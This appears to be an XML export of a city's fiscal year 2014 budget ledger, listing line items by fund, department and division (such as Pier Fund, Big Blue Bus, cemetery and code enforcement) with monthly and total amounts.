<row _id="11832"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17434.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17434.0</total></row>
<row _id="11833"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>870</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>870.0</total></row>
<row _id="11834"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="11835"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="11836"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405610.0</object><object_description>LAWN BOWLING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1715.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1715.0</total></row>
<row _id="11837"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562270.0</object><object_description>ST. JOHN'S CFDC-ROGERS LEARNIN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60466.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60466.0</total></row>
<row _id="11838"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522340.0</object><object_description>BUY LOCAL CAMPAIGN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="11839"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>46844.0</june><total>46844.0</total></row>
<row _id="11840"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>25948.0</june><total>25948.0</total></row>
<row _id="11841"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>10077.0</june><total>10077.0</total></row>
<row _id="11842"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5228.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5228.0</total></row>
<row _id="11843"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>220375.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>3205</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>223580.0</total></row>
<row _id="11844"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3242.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>11</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3253.0</total></row>
<row _id="11845"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="11846"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>410.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>410.0</total></row>
<row _id="11847"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>407830.0</object><object_description>AQMD MSRC DISCRETIONARY FUNDS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-149925.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-149925.0</total></row>
<row _id="11848"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>84907.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1805.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86712.0</total></row>
<row _id="11849"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10011.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>151</december><january>34.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10196.0</total></row>
<row _id="11850"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>450000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>450000.0</total></row>
<row _id="11851"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20500.0</total></row>
<row _id="11852"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>3924</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3924.0</total></row>
<row _id="11853"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7625.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7625.0</total></row>
<row _id="11854"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2612.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2612.0</total></row>
<row _id="11855"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408010.0</object><object_description>REVIEW OF PLANNING APPLICATION</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12000.0</total></row>
<row _id="11856"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2725.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2725.0</total></row>
<row _id="11857"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>400601.0</object><object_description>REVIEW OF PUBLIC ROW APPLICATI</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-103349.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-103349.0</total></row>
<row _id="11858"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4033.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4033.0</total></row>
<row _id="11859"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-6361.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6361.0</total></row>
<row _id="11860"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5620.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5620.0</total></row>
<row _id="11861"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-18195.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18195.0</total></row>
<row _id="11862"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2022.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2022.0</total></row>
<row _id="11863"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3825.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3825.0</total></row>
<row _id="11864"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-15995.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15995.0</total></row>
<row _id="11865"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-18389.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18389.0</total></row>
<row _id="11866"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15.0</total></row>
<row _id="11867"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409004.0</object><object_description>CHILDCARE-DECEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-35467.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>35467</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11868"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409022.0</object><object_description>ENRICHMENT-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-103983.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>103983</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11869"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544460.0</object><object_description>HOMELESS COUNT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4121.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4121.0</total></row>
<row _id="11870"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409006.0</object><object_description>CHILDCARE-FEBRUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-31130.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>31130</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11871"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409023.0</object><object_description>ENRICHMENT-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-86408.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>86408</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11872"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409031.0</object><object_description>CAMP SM-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6393.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>6393</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11873"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>650000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>650000.0</total></row>
<row _id="11874"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402800.0</object><object_description>NAME PLATES / BENCHES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-16913.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16913.0</total></row>
<row _id="11875"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402820.0</object><object_description>FLOWER SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-16728.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16728.0</total></row>
<row _id="11876"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>614.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>614.0</total></row>
<row _id="11877"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16090.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>187</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16277.0</total></row>
<row _id="11878"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1659.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1659.0</total></row>
